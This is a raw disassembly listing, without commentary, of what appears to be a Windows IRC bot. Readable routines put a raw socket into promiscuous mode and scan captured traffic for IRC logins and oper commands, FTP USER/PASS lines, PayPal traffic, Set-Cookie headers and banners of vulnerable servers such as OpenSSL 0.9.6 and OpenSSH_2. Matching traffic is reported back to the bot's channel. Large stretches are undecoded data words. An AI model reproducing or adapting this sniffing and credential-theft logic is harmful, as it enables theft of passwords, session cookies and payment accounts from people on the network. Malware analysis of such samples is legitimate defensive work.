dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
dd 90000001h, 25EAD6E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh
dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h
dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h
dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch
dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h
dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h
dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh
dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch
dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h
dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Bh
dd 3E8h, 25E7B6E8h, 0E8579002h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
nop
call near ptr 2770000h
lea eax, [ebp-114h]
push 104h
push eax
nop
call near ptr 2670000h
lea eax, [ebp-114h]
push offset asc_434E54 ; "\\"
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset dword_429118
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_41B4C2
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_411C7A
push 1
pop eax
jmp short loc_411CF1
; ---------------------------------------------------------------------------
loc_411C7A: ; CODE XREF: ___:00411C73j
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41BE06
push esi
call sub_41B05B
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_411CEF
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_434E24
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_409A72
add esp, 24h
loc_411CEF: ; CODE XREF: ___:00411CB6j
xor eax, eax
loc_411CF1: ; CODE XREF: ___:00411C78j
pop esi
leave
retn
; ---------------------------------------------------------------------------
dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h
; DATA XREF: sub_401ACD+4508o
dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
dd 0BB004Ch, 6A000002h, 0E665E808h, 0FF900225h, 4CAEF815h
dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh
dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh
dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h
dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh
dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h
dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h
dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h
dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h
dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh
dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h
dd 22BE02Ch
db 90h
byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao
dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h
dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch
dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah
dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h
dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh
dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h, 234C0h
dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h
dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh
dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh
dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch
dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h
dd 5659FFFFh, 2BDE4FE8h, 0BB539002h, 434EB0h, 0FFFFBFh
dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h
dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h
dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh
dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h
db 2
; =============== S U B R O U T I N E =======================================
sub_412351 proc near ; CODE XREF: sub_412660+213p
; sub_412660+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CDCE0, eax
mov eax, offset dword_4CDCE0
retn
sub_412351 endp
; =============== S U B R O U T I N E =======================================
sub_412360 proc near ; CODE XREF: sub_412660+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41237A
loc_412376: ; CODE XREF: sub_412360+29j
; sub_412360+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41237A: ; CODE XREF: sub_412360+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4123C2
loc_4123BE: ; CODE XREF: sub_412360+71j
; sub_412360+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4123C2: ; CODE XREF: sub_412360+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a366 ; "366 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_login_0 ; ":.login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aLogin_0 ; ":!login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aLogin ; ":!Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_login ; ":.Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_ident ; ":.ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aIdent_0 ; ":!ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BE
push offset a_hashin ; ":.hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BE
push offset aHashin ; ":!hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412360 endp
; =============== S U B R O U T I N E =======================================
sub_412477 proc near ; CODE XREF: sub_412660+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412491
loc_41248D: ; CODE XREF: sub_412477+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412491: ; CODE XREF: sub_412477+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41248D
push offset aOper_0 ; "OPER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4124B7
loc_4124B3: ; CODE XREF: sub_412477+4Fj
; sub_412477+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4124B7: ; CODE XREF: sub_412477+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B3
push offset aOper ; "oper "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B3
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412477 endp
; =============== S U B R O U T I N E =======================================
sub_4124ED proc near ; CODE XREF: sub_412660+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412507
loc_412503: ; CODE XREF: sub_4124ED+29j
; sub_4124ED+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412507: ; CODE XREF: sub_4124ED+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412503
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412503
push offset a220 ; "220 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41253E
loc_41253A: ; CODE XREF: sub_4124ED+60j
; sub_4124ED+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41253E: ; CODE XREF: sub_4124ED+4Bj
push offset a230 ; "230 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253A
push offset aUser_3 ; "USER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253A
push offset aPass_0 ; "PASS "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4124ED endp
; =============== S U B R O U T I N E =======================================
sub_412574 proc near ; CODE XREF: sub_412660+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41258E
loc_41258A: ; CODE XREF: sub_412574+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41258E: ; CODE XREF: sub_412574+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41258A
push offset aPaypal ; "paypal"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4125B4
loc_4125B0: ; CODE XREF: sub_412574+4Fj
; sub_412574+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125B4: ; CODE XREF: sub_412574+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412574 endp
; =============== S U B R O U T I N E =======================================
sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412615
loc_412611: ; CODE XREF: sub_4125FB+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412615: ; CODE XREF: sub_4125FB+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412611
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41263B
loc_412637: ; CODE XREF: sub_4125FB+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41263B: ; CODE XREF: sub_4125FB+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412637
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4125FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412660 proc near ; DATA XREF: sub_401ACD+427Co
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CAF88
lea eax, [ebp+var_3B8]
push eax
call dword_4CAFF8
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41C310
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412706
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412706: ; CODE XREF: sub_412660+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jnz short loc_41277C
call dword_4CAF08
push eax
lea eax, [ebp+var_2B8]
push offset unk_435AC8
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412758
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
loc_412758: ; CODE XREF: sub_412660+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_34]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_41277C: ; CODE XREF: sub_412660+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CAF20
cmp eax, 0FFFFFFFFh
jnz short loc_412802
call dword_4CAF08
push eax
lea eax, [ebp+var_2B8]
push offset unk_435A98
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4127DE
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
loc_4127DE: ; CODE XREF: sub_412660+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_34]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_412802: ; CODE XREF: sub_412660+13Cj
mov esi, 200h
loc_412807: ; CODE XREF: sub_412660+1D6j
; sub_412660+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CAF8C
cmp [ebp+var_113AF], 6
jnz short loc_412807
push [ebp+var_113A4]
mov edi, dword_4271E4
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_412807
cmp [ebp+arg_0], 19h
jz short loc_412807
cmp edi, 6Eh
jz short loc_412807
cmp edi, 19h
jz short loc_412807
push [ebp+var_113AC]
call sub_412351
pop ecx
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+var_113A8]
call sub_412351
add esp, 10h
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jle short loc_412905
loc_4128D1: ; CODE XREF: sub_412660+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_4128E8
mov byte ptr [eax], 20h
loc_4128E8: ; CODE XREF: sub_412660+283j
cmp byte ptr [eax], 0Ah
jnz short loc_4128F0
mov byte ptr [eax], 20h
loc_4128F0: ; CODE XREF: sub_412660+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41AFE0
cmp [ebp+var_4], eax
pop ecx
jl short loc_4128D1
loc_412905: ; CODE XREF: sub_412660+26Fj
cmp [ebp+arg_0], 50h
jz loc_4129B8
cmp edi, 50h
jz loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_412360
test al, al
pop ecx
jz short loc_41294C
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_435A64
jmp loc_4129E7
; ---------------------------------------------------------------------------
loc_41294C: ; CODE XREF: sub_412660+2C7j
cmp edi, 50h
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_412477
test al, al
pop ecx
jz short loc_412982
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_435A30
jmp short loc_4129E7
; ---------------------------------------------------------------------------
loc_412982: ; CODE XREF: sub_412660+300j
cmp edi, 50h
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_4124ED
test al, al
pop ecx
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4359FC
jmp short loc_4129E7
; ---------------------------------------------------------------------------
loc_4129B8: ; CODE XREF: sub_412660+2A9j
; sub_412660+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_412574
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_412A25
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_4359C4
loc_4129E7: ; CODE XREF: sub_412660+2E7j
; sub_412660+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41B980
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_412807
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
jmp loc_412807
; ---------------------------------------------------------------------------
loc_412A25: ; CODE XREF: sub_412660+36Ej
call sub_4125FB
test al, al
pop ecx
jz loc_412807
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43598C
jmp short loc_4129E7
sub_412660 endp
; ---------------------------------------------------------------------------
byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o
dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh
dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 226E23Ah
dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh
dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh
